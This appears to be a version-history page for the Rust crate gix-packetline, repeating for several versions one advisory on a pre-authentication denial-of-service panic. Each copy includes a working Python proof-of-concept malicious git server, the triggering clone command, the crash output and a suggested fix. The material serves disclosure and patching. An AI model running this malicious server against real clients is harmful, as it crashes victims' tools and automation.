gix-packetline

Version	Released
`0.22.2` patch	Aug 24, 2026
`0.22.1` patch	Aug 23, 2026
`0.22.0` unknown	Jul 23, 2026
`0.21.5` unknown	Jun 16, 2026
`0.21.4` unknown 1 CVE	May 26, 2026
`0.21.3` unknown 1 CVE	Apr 24, 2026
`0.21.2` unknown 1 CVE	Mar 22, 2026
`0.21.1` unknown 1 CVE	Feb 10, 2026
`0.21.0` unknown 1 CVE	Jan 22, 2026
`0.20.0` unknown 1 CVE	Nov 22, 2025
`0.19.3` unknown 1 CVE	Oct 23, 2025
`0.19.2` unknown 1 CVE	Oct 22, 2025
`0.19.1` unknown 1 CVE	Jul 15, 2025
`0.19.0` unknown 1 CVE	Apr 26, 2025
`0.18.5` unknown yanked 1 CVE	Apr 25, 2025
`0.18.4` unknown 1 CVE	Apr 04, 2025
`0.18.3` unknown 1 CVE	Jan 18, 2025
`0.18.2` unknown 1 CVE	Dec 22, 2024
`0.18.1` unknown 1 CVE	Nov 24, 2024
`0.18.0` unknown 1 CVE	Oct 22, 2024
`0.17.6` unknown 1 CVE	Aug 22, 2024
`0.17.5` unknown 1 CVE	Mar 22, 2024
`0.17.4` unknown 1 CVE	Mar 14, 2024
`0.17.3` unknown 1 CVE	Jan 20, 2024
`0.17.2` unknown 1 CVE	Dec 30, 2023
`0.17.1` unknown 1 CVE	Dec 29, 2023
`0.17.0` unknown 1 CVE	Dec 06, 2023
`0.16.7` unknown 1 CVE	Oct 12, 2023
`0.16.6` unknown 1 CVE	Sep 08, 2023
`0.16.5` unknown 1 CVE	Aug 22, 2023
`0.16.4` unknown 1 CVE	Jul 22, 2023
`0.16.3` unknown 1 CVE	Jun 22, 2023
`0.16.2` unknown 1 CVE	Jun 06, 2023
`0.16.1` unknown 1 CVE	May 25, 2023
`0.16.0` unknown 1 CVE	Apr 26, 2023
`0.15.1` unknown 1 CVE	Mar 30, 2023
`0.15.0` unknown 1 CVE	Mar 14, 2023
`0.14.3` unknown 1 CVE	Feb 20, 2023
`0.14.2` unknown 1 CVE	Feb 17, 2023

0.22.2 patch

Aug 24, 2026

0.22.1 patch

Aug 23, 2026

0.22.0 unknown

Jul 23, 2026

0.21.5 unknown

Jun 16, 2026

0.21.4 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

May 26, 2026

0.21.3 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 24, 2026

0.21.2 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 22, 2026

0.21.1 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 10, 2026

0.21.0 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 22, 2026

0.20.0 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 22, 2025

0.19.3 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 23, 2025

0.19.2 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 22, 2025

0.19.1 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
